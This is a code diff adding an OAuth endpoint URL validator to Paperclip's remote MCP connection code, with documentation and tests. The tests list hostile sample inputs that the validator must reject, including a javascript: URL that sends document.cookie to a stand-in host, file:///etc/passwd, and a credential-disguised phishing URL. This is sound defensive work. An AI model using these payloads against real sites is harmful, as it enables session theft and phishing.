diff --git a/doc/connections/GENERIC-REMOTE-MCP.md b/doc/connections/GENERIC-REMOTE-MCP.md index 85277816db8..1fc40ed4357 100644 --- a/doc/connections/GENERIC-REMOTE-MCP.md +++ b/doc/connections/GENERIC-REMOTE-MCP.md @@ -112,6 +112,33 @@ URL, the callback URI, and the company. If any of those change: Credentials are never reused across issuers or across companies. +### Endpoint addresses are validated before they are used + +Every OAuth endpoint address is chosen by the remote server — in discovered +metadata, in a `WWW-Authenticate` hint, in a pasted config, or in a gallery +default — and the authorization endpoint additionally becomes a top-level browser +navigation. All of them are parsed by one shared validator +(`checkOAuthEndpointUrl` in `@paperclipai/shared`) and must be: + +- **`https:`.** Plain `http:` is refused, except for a loopback host under the + local-development policy (the same policy that allows private remote + endpoints), and except for this deployment's own origin. +- **Free of embedded credentials.** `https://accounts.google.com@evil.test/…` + reads as the wrong site to a human, so Paperclip refuses it. +- **Free of a fragment**, and a well-formed absolute URL. + +`javascript:`, `data:`, `file:` and friends are therefore refused before they can +reach `window.location`. The board applies the same validator to the address it +receives, so an unsafe value cannot pass the API boundary and then execute at the +navigation boundary. A refusal is reported as +`oauth__endpoint_rejected` (422) and the unsafe value is never persisted on +the connection. + +An address that passes is still only an address: a valid HTTPS authorization page +can be a phishing page. The redirect screen names the host you are being sent to, +and the **Unverified server** label stays visible for an endpoint with no curated +definition. + ### Protocol conformance - RFC 8707 `resource` on authorization, token, and refresh requests, naming the diff --git a/packages/shared/src/index.ts b/packages/shared/src/index.ts index 0bace688d1d..cbf7acea361 100644 --- a/packages/shared/src/index.ts +++ b/packages/shared/src/index.ts @@ -266,6 +266,16 @@ export { type McpRemoteHeaderCheck, type McpRemoteHeaderRejection, } from "./mcp-remote-headers.js"; +export { + checkOAuthEndpointUrl, + isSafeOAuthEndpointUrl, + oauthEndpointDisplayHost, + oauthEndpointUrlRejectionMessage, + type OAuthEndpointKind, + type OAuthEndpointUrlCheck, + type OAuthEndpointUrlOptions, + type OAuthEndpointUrlRejection, +} from "./oauth-endpoint-url.js"; export { COMPANY_STATUSES, DEFAULT_COMPANY_ATTACHMENT_MAX_BYTES, diff --git a/packages/shared/src/oauth-endpoint-url.test.ts b/packages/shared/src/oauth-endpoint-url.test.ts new file mode 100644 index 00000000000..7f7ad634b3d --- /dev/null +++ b/packages/shared/src/oauth-endpoint-url.test.ts @@ -0,0 +1,182 @@ +import { describe, expect, it } from "vitest"; +import { + checkOAuthEndpointUrl, + isSafeOAuthEndpointUrl, + oauthEndpointDisplayHost, + oauthEndpointUrlRejectionMessage, +} from "./oauth-endpoint-url.js"; + +describe("checkOAuthEndpointUrl", () => { + it("accepts an https endpoint and returns its normalized url and host", () => { + const check = checkOAuthEndpointUrl("https://auth.example.test/oauth/authorize?prompt=consent"); + expect(check).toEqual({ + ok: true, + url: "https://auth.example.test/oauth/authorize?prompt=consent", + host: "auth.example.test", + }); + }); + + it("keeps a non-default port in the displayed host", () => { + const check = checkOAuthEndpointUrl("https://auth.example.test:8443/authorize"); + expect(check.ok && check.host).toBe("auth.example.test:8443"); + }); + + // The values a hostile MCP server would advertise to get code running in the + // board's origin or to read a local file. + it.each([ + ["javascript:alert(document.cookie)", "unsupported_scheme"], + ["javascript:fetch('https://evil.test/'+document.cookie)", "unsupported_scheme"], + ["data:text/html,", "unsupported_scheme"], + ["file:///etc/passwd", "unsupported_scheme"], + ["vbscript:msgbox(1)", "unsupported_scheme"], + ["about:blank", "unsupported_scheme"], + ["blob:https://auth.example.test/1234", "unsupported_scheme"], + ["chrome://settings", "unsupported_scheme"], + ])("rejects %s", (value, reason) => { + expect(checkOAuthEndpointUrl(value)).toEqual({ ok: false, reason }); + expect(isSafeOAuthEndpointUrl(value)).toBe(false); + }); + + it("rejects a scheme that only differs by case or padding", () => { + expect(checkOAuthEndpointUrl(" JavaScript:alert(1) ").ok).toBe(false); + expect(checkOAuthEndpointUrl("JAVASCRIPT:alert(1)")).toEqual({ ok: false, reason: "unsupported_scheme" }); + }); + + it("rejects plaintext http by default, loopback included", () => { + expect(checkOAuthEndpointUrl("http://auth.example.test/authorize")).toEqual({ + ok: false, + reason: "insecure_transport", + }); + expect(checkOAuthEndpointUrl("http://127.0.0.1:9000/authorize")).toEqual({ + ok: false, + reason: "insecure_transport", + }); + }); + + it("allows loopback http only under the local-development policy", () => { + const options = { allowInsecureLoopback: true }; + for (const value of [ + "http://localhost:3100/authorize", + "http://app.localhost:3100/authorize", + "http://127.0.0.1:3100/authorize", + "http://127.9.9.9:3100/authorize", + "http://[::1]:3100/authorize", + ]) { + expect(checkOAuthEndpointUrl(value, options).ok, value).toBe(true); + } + }); + + it("still rejects non-loopback http under the local-development policy", () => { + for (const value of [ + "http://auth.example.test/authorize", + "http://10.0.0.5/authorize", + // Hosts that only *look* loopback. + "http://127.0.0.1.evil.test/authorize", + "http://localhost.evil.test/authorize", + "http://notlocalhost/authorize", + ]) { + expect(checkOAuthEndpointUrl(value, { allowInsecureLoopback: true }), value).toEqual({ + ok: false, + reason: "insecure_transport", + }); + } + }); + + it("allows plaintext http for Paperclip's own origin only", () => { + const options = { allowInsecureOrigins: ["http://paperclip.test"] }; + expect(checkOAuthEndpointUrl("http://paperclip.test/api/smoke-lab/oauth/authorize", options).ok).toBe(true); + // Port and scheme are part of the origin, so a neighbour is not exempt. + expect(checkOAuthEndpointUrl("http://paperclip.test:8080/authorize", options)).toEqual({ + ok: false, + reason: "insecure_transport", + }); + expect(checkOAuthEndpointUrl("http://evil.test/authorize", options)).toEqual({ + ok: false, + reason: "insecure_transport", + }); + // The exemption is about transport only: an unsafe scheme is still unsafe. + expect(checkOAuthEndpointUrl("javascript:alert(1)", options)).toEqual({ + ok: false, + reason: "unsupported_scheme", + }); + // A garbage entry in the exemption list cannot open anything up. + expect(checkOAuthEndpointUrl("http://paperclip.test/authorize", { allowInsecureOrigins: ["nonsense"] })).toEqual({ + ok: false, + reason: "insecure_transport", + }); + }); + + it("rejects embedded credentials that disguise the real origin", () => { + expect(checkOAuthEndpointUrl("https://accounts.google.com@evil.test/authorize")).toEqual({ + ok: false, + reason: "embedded_credentials", + }); + expect(checkOAuthEndpointUrl("https://user:pw@auth.example.test/authorize")).toEqual({ + ok: false, + reason: "embedded_credentials", + }); + }); + + it("rejects a fragment", () => { + expect(checkOAuthEndpointUrl("https://auth.example.test/authorize#/../../evil")).toEqual({ + ok: false, + reason: "fragment", + }); + }); + + it("rejects malformed and empty values", () => { + expect(checkOAuthEndpointUrl("/authorize")).toEqual({ ok: false, reason: "malformed" }); + expect(checkOAuthEndpointUrl("not a url")).toEqual({ ok: false, reason: "malformed" }); + expect(checkOAuthEndpointUrl("https://")).toEqual({ ok: false, reason: "malformed" }); + // A special scheme with no authority is re-parsed by WHATWG as a hostname, + // so it lands on the transport rule rather than being treated as relative. + expect(checkOAuthEndpointUrl("http:relative", { allowInsecureLoopback: true })).toEqual({ + ok: false, + reason: "insecure_transport", + }); + expect(checkOAuthEndpointUrl("")).toEqual({ ok: false, reason: "missing" }); + expect(checkOAuthEndpointUrl(" ")).toEqual({ ok: false, reason: "missing" }); + expect(checkOAuthEndpointUrl(null)).toEqual({ ok: false, reason: "missing" }); + expect(checkOAuthEndpointUrl({ href: "https://auth.example.test" })).toEqual({ + ok: false, + reason: "missing", + }); + }); +}); + +describe("oauthEndpointUrlRejectionMessage", () => { + it("names the endpoint without echoing the untrusted value", () => { + const message = oauthEndpointUrlRejectionMessage("authorization", "unsupported_scheme"); + expect(message).toContain("sign-in"); + expect(message).toContain("https"); + expect(message).not.toContain("javascript"); + }); + + it("covers every rejection reason for every endpoint kind", () => { + for (const kind of ["authorization", "token", "registration", "metadata"] as const) { + for (const reason of [ + "missing", + "malformed", + "unsupported_scheme", + "insecure_transport", + "embedded_credentials", + "fragment", + ] as const) { + expect(oauthEndpointUrlRejectionMessage(kind, reason).length, `${kind}/${reason}`).toBeGreaterThan(0); + } + } + }); +}); + +describe("oauthEndpointDisplayHost", () => { + it("returns the host for display", () => { + expect(oauthEndpointDisplayHost("https://auth.example.test/authorize?x=1")).toBe("auth.example.test"); + expect(oauthEndpointDisplayHost("https://auth.example.test:8443/authorize")).toBe("auth.example.test:8443"); + }); + + it("returns null for a value with no host", () => { + expect(oauthEndpointDisplayHost("javascript:alert(1)")).toBeNull(); + expect(oauthEndpointDisplayHost("nonsense")).toBeNull(); + expect(oauthEndpointDisplayHost(null)).toBeNull(); + }); +}); diff --git a/packages/shared/src/oauth-endpoint-url.ts b/packages/shared/src/oauth-endpoint-url.ts new file mode 100644 index 00000000000..5ea73648dc5 --- /dev/null +++ b/packages/shared/src/oauth-endpoint-url.ts @@ -0,0 +1,173 @@ +/** + * Scheme/transport safety for OAuth endpoints Paperclip learned from a remote + * server (PAP-17099). + * + * A generic remote MCP connection can point at any endpoint, and that endpoint + * gets to advertise its own authorization-server metadata. The + * `authorization_endpoint` it names is not just fetched server-side — Paperclip + * hands it to the operator's browser as a top-level navigation, so an arbitrary + * string there is a code-execution and open-redirect primitive: + * `javascript:` / `data:` would run in the board's origin, and plain `http:` + * would carry the authorization request (and the operator) over a network any + * intermediary can rewrite. + * + * So every endpoint URL discovered from metadata, pasted by an operator, taken + * from a `WWW-Authenticate` hint, or shipped as a gallery default is parsed + * here — once, in shared code — and must be: + * + * - a well-formed absolute URL (anything `new URL` rejects is rejected); + * - `https:`, or `http:` only for a loopback host under the caller's explicit + * local-development policy (the server passes its private-network policy, the + * board passes "am I myself served over plaintext HTTP"); + * - free of embedded credentials, because `https://evil.test@real.test/...` + * reads as the wrong origin to a human and Paperclip must not help; + * - free of a fragment, which never survives an authorization request usefully + * and is a classic way to hide the effective target from a reader. + * + * Both the server and the board import this so a value that passes the API + * boundary cannot fail the navigation boundary, or vice versa. + */ + +export type OAuthEndpointKind = "authorization" | "token" | "registration" | "metadata"; + +export type OAuthEndpointUrlRejection = + | "missing" + | "malformed" + | "unsupported_scheme" + | "insecure_transport" + | "embedded_credentials" + | "fragment"; + +export interface OAuthEndpointUrlOptions { + /** + * Allow `http:` for loopback hosts. Only true under an explicit + * local-development policy — never for a public deployment. + */ + allowInsecureLoopback?: boolean; + /** + * Origins whose `http:` is already the operator's own trust boundary — + * in practice just Paperclip's own deployment origin. A deployment served over + * plaintext HTTP on a LAN address can still run its own authorization + * endpoints (the smoke-lab fixture does), and opening Paperclip from Paperclip + * adds no exposure the board does not already have. + */ + allowInsecureOrigins?: string[]; +} + +export type OAuthEndpointUrlCheck = + | { ok: true; url: string; host: string } + | { ok: false; reason: OAuthEndpointUrlRejection }; + +/** `127.0.0.0/8` — the whole loopback range, not just `127.0.0.1`. */ +function isLoopbackIpv4(hostname: string): boolean { + const parts = hostname.split("."); + if (parts.length !== 4) return false; + if (!parts.every((part) => /^\d{1,3}$/.test(part) && Number(part) <= 255)) return false; + return parts[0] === "127"; +} + +function isLoopbackHost(hostname: string): boolean { + const host = hostname.replace(/^\[|\]$/g, "").toLowerCase(); + if (host === "localhost" || host.endsWith(".localhost")) return true; + if (host === "::1") return true; + const mapped = host.match(/^::ffff:(\d{1,3}(?:\.\d{1,3}){3})$/); + if (mapped?.[1]) return isLoopbackIpv4(mapped[1]); + return isLoopbackIpv4(host); +} + +function normalizedOrigin(value: string): string | null { + try { + const origin = new URL(value).origin; + return origin === "null" ? null : origin; + } catch { + return null; + } +} + +function insecureTransportAllowed(parsed: URL, options: OAuthEndpointUrlOptions): boolean { + if (options.allowInsecureLoopback && isLoopbackHost(parsed.hostname)) return true; + return (options.allowInsecureOrigins ?? []).some((origin) => normalizedOrigin(origin) === parsed.origin); +} + +/** + * Is `value` an OAuth endpoint Paperclip is willing to use — and, for the + * authorization endpoint, to navigate a browser to? Returns the normalized URL + * and its host on success, or the specific rejection reason so callers can + * produce an actionable message. + */ +export function checkOAuthEndpointUrl( + value: unknown, + options: OAuthEndpointUrlOptions = {}, +): OAuthEndpointUrlCheck { + if (typeof value !== "string" || value.trim().length === 0) { + return { ok: false, reason: "missing" }; + } + let parsed: URL; + try { + parsed = new URL(value.trim()); + } catch { + return { ok: false, reason: "malformed" }; + } + if (parsed.protocol !== "https:" && parsed.protocol !== "http:") { + return { ok: false, reason: "unsupported_scheme" }; + } + // A `javascript:`/`data:` URL has no host, and neither does something like + // `http:relative` — without an authority there is no origin to trust. + if (!parsed.hostname) return { ok: false, reason: "malformed" }; + if (parsed.protocol === "http:" && !insecureTransportAllowed(parsed, options)) { + return { ok: false, reason: "insecure_transport" }; + } + if (parsed.username || parsed.password) return { ok: false, reason: "embedded_credentials" }; + if (parsed.hash) return { ok: false, reason: "fragment" }; + return { ok: true, url: parsed.toString(), host: parsed.host }; +} + +export function isSafeOAuthEndpointUrl(value: unknown, options: OAuthEndpointUrlOptions = {}): boolean { + return checkOAuthEndpointUrl(value, options).ok; +} + +const KIND_LABELS: Record = { + authorization: "sign-in", + token: "token", + registration: "client registration", + metadata: "metadata", +}; + +/** + * A UI-safe explanation for a rejected endpoint. Never echoes the URL, because + * the string came from the remote server and may itself be the attack. + */ +export function oauthEndpointUrlRejectionMessage( + kind: OAuthEndpointKind, + reason: OAuthEndpointUrlRejection, +): string { + const label = KIND_LABELS[kind]; + switch (reason) { + case "missing": + return `This server did not provide a ${label} address.`; + case "malformed": + return `This server's ${label} address is not a valid URL, so Paperclip stopped.`; + case "unsupported_scheme": + return `This server's ${label} address does not use https, so Paperclip stopped.`; + case "insecure_transport": + return `This server's ${label} address is not secure (https), so Paperclip stopped.`; + case "embedded_credentials": + return `This server's ${label} address hides a different site behind a username, so Paperclip stopped.`; + case "fragment": + return `This server's ${label} address is malformed for sign-in, so Paperclip stopped.`; + } +} + +/** + * The host to show an operator before they are sent to an authorization page. + * `null` when the value is not a usable URL — callers should be refusing to + * navigate at that point anyway. + */ +export function oauthEndpointDisplayHost(value: unknown): string | null { + if (typeof value !== "string" || !value.trim()) return null; + try { + return new URL(value.trim()).host || null; + } catch { + return null; + } +} diff --git a/server/src/__tests__/generic-mcp-connection.test.ts b/server/src/__tests__/generic-mcp-connection.test.ts index 88f65aa6a94..8475feabaf2 100644 --- a/server/src/__tests__/generic-mcp-connection.test.ts +++ b/server/src/__tests__/generic-mcp-connection.test.ts @@ -72,6 +72,13 @@ type FixtureOptions = { dcr?: boolean; /** Serve authorization-server metadata under the RFC 8414 insertion path only. */ wellKnownStyle?: "rfc8414" | "oidc-suffix"; + /** + * Advertise this exact string as `authorization_endpoint` (PAP-17099). The + * value is whatever a hostile server wants — it is never a trusted URL. + */ + authorizationEndpoint?: string; + /** Advertise this exact string as `token_endpoint` (PAP-17099). */ + tokenEndpoint?: string; /** Value the token endpoint returns as the issuer, for `iss` tests. */ tools?: unknown[]; }; @@ -136,8 +143,8 @@ function installMcpOAuthFixture(options: FixtureOptions = {}) { const authorizationServerMetadata = () => ({ issuer: ISSUER, - authorization_endpoint: `${ISSUER}/authorize`, - token_endpoint: `${ISSUER}/token`, + authorization_endpoint: options.authorizationEndpoint ?? `${ISSUER}/authorize`, + token_endpoint: options.tokenEndpoint ?? `${ISSUER}/token`, ...(options.dcr === false ? {} : { registration_endpoint: `${ISSUER}/register` }), ...(options.cimd ? { client_id_metadata_document_supported: true } : {}), code_challenge_methods_supported: ["S256"], @@ -680,6 +687,112 @@ describeEmbeddedPostgres("generic remote MCP connections", () => { })).rejects.toMatchObject({ details: { code: "oauth_manual_client_rebinding_required" } }); }); + /** + * PAP-17099 — the authorization endpoint is the one discovered value Paperclip + * hands to the operator's browser as a top-level navigation, so a hostile + * server must not be able to advertise a scheme that runs code in the board's + * origin, reads a local file, or downgrades the authorization request. + */ + describe("unsafe advertised authorization endpoints", () => { + it.each([ + ["javascript:", "javascript:fetch('https://evil.test/'+document.cookie)"], + ["data:", "data:text/html,"], + ["file:", "file:///etc/passwd"], + ["plaintext http", "http://evil.fixture.test/authorize"], + ["credentials disguising the origin", "https://mcp.fixture.test@evil.fixture.test/authorize"], + ["a fragment", "https://auth.fixture.test/authorize#@evil.fixture.test"], + ["a malformed url", "not-a-url"], + ])("refuses to connect when the server advertises %s", async (_label, authorizationEndpoint) => { + installMcpOAuthFixture({ auth: "oauth", authorizationEndpoint }); + const company = await createCompany(db); + const service = toolAccessService(db); + + await expect(service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture hostile authorize" })) + .rejects.toMatchObject({ status: 422, details: { code: "oauth_authorization_endpoint_rejected" } }); + + // Nothing about the refused endpoint is persisted, so a later reconnect + // cannot pick it back up out of the connection config. + const [connection] = await db.select().from(toolConnections); + expect(JSON.stringify(connection?.config ?? {})).not.toContain(authorizationEndpoint); + await expect(db.select().from(toolOauthStates)).resolves.toHaveLength(0); + }); + + it("never navigates to a stored authorization endpoint that is unsafe", async () => { + installMcpOAuthFixture({ auth: "oauth" }); + const company = await createCompany(db); + const service = toolAccessService(db); + + const connected = await service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture poisoned config" }); + // A row written before the gate existed (or by any other writer) is not + // trusted just because it is in Paperclip's own database. + const poisonStoredAuthorizationUrl = async () => { + const [row] = await db.select().from(toolConnections).where(eq(toolConnections.id, connected.connectionId)); + const poisoned = { + ...row!.config, + oauth: { ...(row!.config.oauth as Record), authorizationUrl: "javascript:alert(1)" }, + }; + await db.update(toolConnections) + .set({ config: poisoned, transportConfig: poisoned }) + .where(eq(toolConnections.id, connected.connectionId)); + }; + await poisonStoredAuthorizationUrl(); + + // The stored value is discarded and re-discovered rather than opened. + const start = await service.startOAuth(company.id, connected.connectionId, { + redirectUri: REDIRECT_URI, + actor: { actorType: "user", actorId: "board-user" }, + }); + expect(start.authorizationUrl.startsWith(`${ISSUER}/authorize?`)).toBe(true); + + // And when re-discovery cannot supply a safe endpoint, sign-in fails + // closed with the reason instead of falling back to the stored value. + await db.delete(toolOauthStates); + await poisonStoredAuthorizationUrl(); + vi.restoreAllMocks(); + vi.spyOn(globalThis, "fetch").mockResolvedValue(jsonResponse({}, 404)); + await expect(service.startOAuth(company.id, connected.connectionId, { + redirectUri: REDIRECT_URI, + actor: { actorType: "user", actorId: "board-user" }, + })).rejects.toMatchObject({ status: 422, details: { code: "oauth_authorization_endpoint_rejected" } }); + await expect(db.select().from(toolOauthStates)).resolves.toHaveLength(0); + }); + + it("refuses an unsafe token endpoint even when the authorization endpoint is fine", async () => { + installMcpOAuthFixture({ auth: "oauth", tokenEndpoint: "http://evil.fixture.test/token" }); + const company = await createCompany(db); + const service = toolAccessService(db); + + await expect(service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture hostile token" })) + .rejects.toMatchObject({ status: 422, details: { code: "oauth_token_endpoint_rejected" } }); + }); + + it("allows loopback http only outside an authenticated public deployment", async () => { + installMcpOAuthFixture({ auth: "oauth", authorizationEndpoint: "http://127.0.0.1:8930/authorize" }); + const company = await createCompany(db); + // Default deployment = local development, where a loopback authorization + // server is how someone tests their own MCP server. + const service = toolAccessService(db); + const connected = await service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture loopback authorize" }); + const start = await service.startOAuth(company.id, connected.connectionId, { + redirectUri: REDIRECT_URI, + actor: { actorType: "user", actorId: "board-user" }, + }); + expect(new URL(start.authorizationUrl).origin).toBe("http://127.0.0.1:8930"); + + // Same connection, same discovered endpoint, authenticated public + // deployment: the local-development exception no longer applies. + await db.delete(toolOauthStates); + const publicService = toolAccessService(db, { + deploymentMode: "authenticated", + deploymentExposure: "public", + }); + await expect(publicService.startOAuth(company.id, connected.connectionId, { + redirectUri: REDIRECT_URI, + actor: { actorType: "user", actorId: "board-user" }, + })).rejects.toMatchObject({ status: 422, details: { code: "oauth_authorization_endpoint_rejected" } }); + }); + }); + it("rejects a private-network endpoint in an authenticated public deployment", async () => { installMcpOAuthFixture({ auth: "public" }); const company = await createCompany(db); diff --git a/server/src/services/tool-access.ts b/server/src/services/tool-access.ts index 95f94222399..84d16652d94 100644 --- a/server/src/services/tool-access.ts +++ b/server/src/services/tool-access.ts @@ -116,6 +116,12 @@ import { mcpRemoteHeaderNameFromConfigPath, mcpRemoteHeaderRejectionMessage, } from "@paperclipai/shared"; +import { + checkOAuthEndpointUrl, + oauthEndpointUrlRejectionMessage, + type OAuthEndpointKind, + type OAuthEndpointUrlRejection, +} from "@paperclipai/shared"; import { badRequest, conflict, forbidden, HttpError, notFound, unprocessable } from "../errors.js"; import { logActivity } from "./activity-log.js"; import { mcpHttpRequestHeaders, parseMcpHttpResponseBody } from "./mcp-http.js"; @@ -1515,9 +1521,38 @@ function descriptorHash(tool: McpToolDescriptor, riskLevel: ToolRiskLevel): stri }); } +/** + * Did this error come from the OAuth endpoint gate (PAP-17099)? Such a refusal + * is Paperclip's own decision about an unsafe address, so it must keep its code + * and its 422 instead of being folded into a generic upstream failure. + */ +function originOf(value: string | null | undefined): string | null { + if (!value) return null; + try { + return new URL(value).origin; + } catch { + return null; + } +} + +function isOAuthEndpointRejection(error: unknown): boolean { + if (!(error instanceof HttpError)) return false; + const code = asRecord(error.details).code; + return typeof code === "string" && code.endsWith("_endpoint_rejected"); +} + +function healthFailureHttpStatus(failure: { status: ToolConnectionHealthStatus; code: string }): number { + if (failure.status === "missing_secret") return 422; + if (failure.code.endsWith("_endpoint_rejected")) return 422; + return 502; +} + function sanitizeHttpFailure(error: unknown): { status: ToolConnectionHealthStatus; message: string; code: string } { if (error instanceof HttpError) { const code = asRecord(error.details).code; + if (isOAuthEndpointRejection(error)) { + return { status: "error", message: error.message, code: String(code) }; + } if (code === "oauth_challenge") { return { status: "error", @@ -1651,6 +1686,94 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} return assertRemoteHttpUrlAllowed(remoteEndpoint(config)); } + /** + * OAuth endpoint scheme/transport gate (PAP-17099). + * + * Every OAuth endpoint Paperclip acts on is attacker-influenced: discovered + * metadata, a `WWW-Authenticate` hint, a pasted config, or a gallery default. + * The authorization endpoint is the sharpest one because it is handed to the + * operator's browser as a top-level navigation, so `javascript:`/`data:` there + * would run in the board's origin. `checkOAuthEndpointUrl` is the single place + * that decides; loopback `http:` is accepted only under the same + * local-development policy that governs private remote endpoints, and + * Paperclip's own origin is exempt from the transport rule because a + * first-party endpoint (the smoke-lab fixture) is served exactly as the board + * itself is. + */ + function oauthEndpointRejected(kind: OAuthEndpointKind, reason: OAuthEndpointUrlRejection): HttpError { + return new HttpError(422, oauthEndpointUrlRejectionMessage(kind, reason), { + code: `oauth_${kind}_endpoint_rejected`, + reason, + }); + } + + /** + * Origins that are Paperclip itself: this deployment's configured public URL, + * plus the callback origin of the request in hand when there is one. Only the + * plaintext-transport rule is relaxed for these. + */ + function firstPartyOrigins(candidate?: string | null): string[] { + const configured = process.env.PAPERCLIP_PUBLIC_URL?.trim() + || process.env.PAPERCLIP_AUTH_PUBLIC_BASE_URL?.trim() + || process.env.BETTER_AUTH_URL?.trim() + || process.env.BETTER_AUTH_BASE_URL?.trim() + || null; + return [originOf(candidate), originOf(configured)].filter((origin): origin is string => Boolean(origin)); + } + + /** + * Origins for which the plaintext-transport rule is relaxed when checking + * `value`. Adds the smoke-lab fixture's own origin, because that provider is + * mounted on this deployment's own routes — `assertNotSmokeLabOAuthEndpoints` + * is what stops any other connection from claiming those paths — and a smoke + * run may be driven against a deployment served over plaintext HTTP. + */ + function insecureTransportExemptions(value: unknown, candidate?: string | null): string[] { + const origins = firstPartyOrigins(candidate); + if (typeof value === "string" && isSmokeLabOAuthUrl(value)) { + const origin = originOf(value); + if (origin) origins.push(origin); + } + return origins; + } + + /** Throws unless `value` is an endpoint Paperclip may use (and navigate to). */ + function assertOAuthEndpointUrl( + kind: OAuthEndpointKind, + value: unknown, + options: { firstPartyOrigin?: string | null } = {}, + ): string { + const check = checkOAuthEndpointUrl(value, { + allowInsecureLoopback: allowPrivateRemoteEndpoints(), + allowInsecureOrigins: insecureTransportExemptions(value, options.firstPartyOrigin), + }); + if (!check.ok) throw oauthEndpointRejected(kind, check.reason); + return check.url; + } + + /** + * Discovery variant: an unusable endpoint is dropped rather than thrown, so a + * second advertised authorization server (or a later metadata candidate) still + * gets a chance. Rejections are recorded in `rejections`; discovery raises the + * first one only if it ends up with nothing safe to use, so the operator sees + * *why* instead of a bare "does not advertise OAuth sign in". + */ + function safeOAuthEndpointUrl( + kind: OAuthEndpointKind, + value: unknown, + rejections: HttpError[], + firstPartyOrigin?: string | null, + ): string | null { + if (value === null || value === undefined || value === "") return null; + const check = checkOAuthEndpointUrl(value, { + allowInsecureLoopback: allowPrivateRemoteEndpoints(), + allowInsecureOrigins: insecureTransportExemptions(value, firstPartyOrigin), + }); + if (check.ok) return check.url; + if (check.reason !== "missing") rejections.push(oauthEndpointRejected(kind, check.reason)); + return null; + } + function trustedRuntimeHost() { return options.trustedLocalStdioRuntimeHost ?? process.env.PAPERCLIP_TRUSTED_MCP_RUNTIME_HOST @@ -3248,7 +3371,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} actor, details: { status: failure.status, transport: connection.transport }, }); - throw new HttpError(failure.status === "missing_secret" ? 422 : 502, failure.message, { + throw new HttpError(healthFailureHttpStatus(failure), failure.message, { code: failure.code, connection: toConnection(updated), runtimeSlot, @@ -3276,7 +3399,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} details: { status: failure.status }, actor, }); - throw new HttpError(failure.status === "missing_secret" ? 422 : 502, failure.message, { + throw new HttpError(healthFailureHttpStatus(failure), failure.message, { code: failure.code, setupUrl: connectionSetupUrl(connection), reconnectUrl: connectionReconnectUrl(connection), @@ -4253,12 +4376,16 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} async function endpointsFromMetadataUrl( connection: typeof toolConnections.$inferSelect, metadataUrl: string, + rejections: HttpError[] = [], + firstPartyOrigin?: string | null, ): Promise { const metadata = await fetchJsonRecord(metadataUrl); if (!metadata) return null; - let authorizationUrl = typeof metadata.authorization_endpoint === "string" ? metadata.authorization_endpoint : null; - let tokenUrl = typeof metadata.token_endpoint === "string" ? metadata.token_endpoint : null; - let registrationUrl = typeof metadata.registration_endpoint === "string" ? metadata.registration_endpoint : null; + // Every endpoint below is a string the remote server chose, so none of them + // is adopted before `safeOAuthEndpointUrl` has vetted its scheme and host. + let authorizationUrl = safeOAuthEndpointUrl("authorization", metadata.authorization_endpoint, rejections, firstPartyOrigin); + let tokenUrl = safeOAuthEndpointUrl("token", metadata.token_endpoint, rejections, firstPartyOrigin); + let registrationUrl = safeOAuthEndpointUrl("registration", metadata.registration_endpoint, rejections, firstPartyOrigin); let scopes = normalizeOauthScopes(metadata.scopes_supported); let codeChallengeMethodsSupported = normalizeOauthScopes(metadata.code_challenge_methods_supported); let tokenEndpointAuthMethodsSupported = normalizeOauthScopes(metadata.token_endpoint_auth_methods_supported); @@ -4276,10 +4403,13 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} for (const candidate of authServerMetadataUrls(metadata)) { const authMetadata = await fetchJsonRecord(candidate.metadataUrl); if (!authMetadata) continue; - const candidateAuthorizationUrl = typeof authMetadata.authorization_endpoint === "string" - ? authMetadata.authorization_endpoint - : null; - const candidateTokenUrl = typeof authMetadata.token_endpoint === "string" ? authMetadata.token_endpoint : null; + const candidateAuthorizationUrl = safeOAuthEndpointUrl( + "authorization", + authMetadata.authorization_endpoint, + rejections, + firstPartyOrigin, + ); + const candidateTokenUrl = safeOAuthEndpointUrl("token", authMetadata.token_endpoint, rejections, firstPartyOrigin); if (!candidateAuthorizationUrl && !candidateTokenUrl) continue; // RFC 8414 §3.3: the metadata document's `issuer` must match the issuer we // used to build the discovery URL, or the document is not authoritative. @@ -4289,7 +4419,8 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} if (advertisedIssuer && !sameOAuthIssuer(advertisedIssuer, candidate.issuer)) continue; authorizationUrl = authorizationUrl ?? candidateAuthorizationUrl; tokenUrl = tokenUrl ?? candidateTokenUrl; - registrationUrl = registrationUrl ?? (typeof authMetadata.registration_endpoint === "string" ? authMetadata.registration_endpoint : null); + registrationUrl = registrationUrl + ?? safeOAuthEndpointUrl("registration", authMetadata.registration_endpoint, rejections, firstPartyOrigin); issuer = issuer ?? advertisedIssuer ?? candidate.issuer; if (scopes.length === 0) scopes = normalizeOauthScopes(authMetadata.scopes_supported); if (codeChallengeMethodsSupported.length === 0) { @@ -4322,12 +4453,28 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} async function discoverOAuthEndpoints( connection: typeof toolConnections.$inferSelect, challenge?: string | null, + firstPartyOrigin?: string | null, ): Promise { const oauth = oauthConfig(connection); const hints = challenge ? challengeOAuthHints(challenge) : null; - const configuredAuthorizationUrl = - typeof oauth.authorizationUrl === "string" ? oauth.authorizationUrl : hints?.authorizationUrl ?? null; - const configuredTokenUrl = typeof oauth.tokenUrl === "string" ? oauth.tokenUrl : hints?.tokenUrl ?? null; + // A configured endpoint was pasted by an operator or persisted from an + // earlier discovery, and a hint came straight out of the endpoint's + // `WWW-Authenticate` header. Neither is more trusted than metadata, so both + // go through the same gate; an unusable one is dropped so full metadata + // discovery still runs below. + const rejections: HttpError[] = []; + const configuredAuthorizationUrl = safeOAuthEndpointUrl( + "authorization", + typeof oauth.authorizationUrl === "string" ? oauth.authorizationUrl : hints?.authorizationUrl ?? null, + rejections, + firstPartyOrigin, + ); + const configuredTokenUrl = safeOAuthEndpointUrl( + "token", + typeof oauth.tokenUrl === "string" ? oauth.tokenUrl : hints?.tokenUrl ?? null, + rejections, + firstPartyOrigin, + ); const provider = oauthProviderForConnection(connection, typeof oauth.metadataUrl === "string" ? oauth.metadataUrl : hints?.metadataUrl); const scopes = normalizeOauthScopes(oauth.scopes).length > 0 ? normalizeOauthScopes(oauth.scopes) 